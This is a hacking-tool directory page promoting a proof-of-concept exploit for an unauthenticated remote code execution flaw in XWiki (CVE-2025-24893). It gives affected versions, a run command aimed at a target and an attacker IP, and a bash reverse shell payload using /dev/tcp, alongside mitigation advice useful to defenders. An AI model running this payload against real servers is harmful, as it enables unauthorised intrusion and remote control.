Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-24893-poc — Proof-of-Concept exploit for CVE-2025-24893, an unauthenticated Remote Code Execution (RCE) vulnerability in XWiki. Exploits a template injection flaw in the SolrSearch endpoint via Groovy script execution. | Kitploit
Tools/GitHubGitHub/investigato/cve-2025-24893-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubinvestigato/cve-2025-24893-poc

cve-2025-24893-poc

Proof-of-Concept exploit for CVE-2025-24893, an unauthenticated Remote Code Execution (RCE) vulnerability in XWiki. Exploits a template injection flaw in the SolrSearch endpoint via Groovy script execution.

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-24893 — XWiki Unauthenticated RCE (PoC)

Proof-of-Concept exploit for CVE-2025-24893, a critical unauthenticated Remote Code Execution vulnerability in XWiki.
This exploit abuses a Groovy template injection in the SolrSearch endpoint to execute arbitrary commands — including reverse shells — without authentication.

💥 Vulnerability Details

A flaw in how XWiki handles crafted input to the SolrSearch RSS endpoint allows attackers to inject Groovy code into the rendering pipeline.
This enables unauthenticated RCE via {{groovy}} script blocks.

✅ Affected Versions

  • < 15.10.11
  • >= 16.0.0 and < 16.4.1

❌ Fixed in

  • 15.10.11
  • 16.4.1

🔧 Usage

Download the release:

Releases

or build from source:

root@kitploit:~
cargo build --release
./target/release/cve-2025-24893-gato --url http://target --ip 10.10.10.10 --port 4444

Reverse Shell Payload

There's a prebuilt reverse shell payload in this form:

bash -c 'sh -i >& /dev/tcp/{IP}/{PORT} 0>&1


⚠️ Legal Disclaimer

This code is for educational and authorized security research only. Do not use this exploit against systems you do not own or have explicit permission to test.


✍️ Credits

  • Exploit PoC by Artemir7
  • Rust port by investigato

🛡️ Detection & Mitigation

  • Update to XWiki 15.10.11 or 16.4.1+
  • Monitor suspicious use of /bin/get/Main/SolrSearch?media=rss
  • Disable Groovy execution for anonymous users if possible
Download Tool